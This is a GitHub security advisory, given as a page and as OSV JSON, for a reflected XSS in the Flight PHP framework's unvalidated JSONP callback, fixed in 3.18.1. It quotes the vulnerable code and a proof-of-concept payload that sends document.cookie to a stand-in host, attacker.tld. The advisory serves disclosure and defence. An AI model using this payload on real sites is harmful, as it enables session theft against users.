GHSA-FCX8-PH5R-MXR4

Vulnerability from github – Published: 2026-05-06 21:34 – Updated: 2026-05-14 20:39
VLAI
Summary
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
Details

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

Impact

  • Reflected XSS in any application calling Flight::jsonp().
  • Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
  • Exfiltration of authenticated API responses.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "flightphp/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:34:15Z",
    "nvd_published_at": "2026-05-13T20:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (\u2248 lines 1000-1013):\n\n```php\n$callback = $this-\u003erequest()-\u003equery[$param];\n$this-\u003eresponse()\n    -\u003estatus($code)\n    -\u003eheader(\u0027Content-Type\u0027, \u0027application/javascript; charset=\u0027 . $charset)\n    -\u003ewrite($callback . \u0027(\u0027 . $json . \u0027);\u0027);\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch(\u0027https://attacker.tld/c=\u0027+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch(\u0027https://attacker.tld/c=\u0027+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `\u003cscript src=\"https://victim.tld/api?jsonp=\u2026\"\u003e` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context \u2014 cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.",
  "id": "GHSA-fcx8-ph5r-mxr4",
  "modified": "2026-05-14T20:39:53Z",
  "published": "2026-05-06T21:34:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42548"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flightphp/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() "
}


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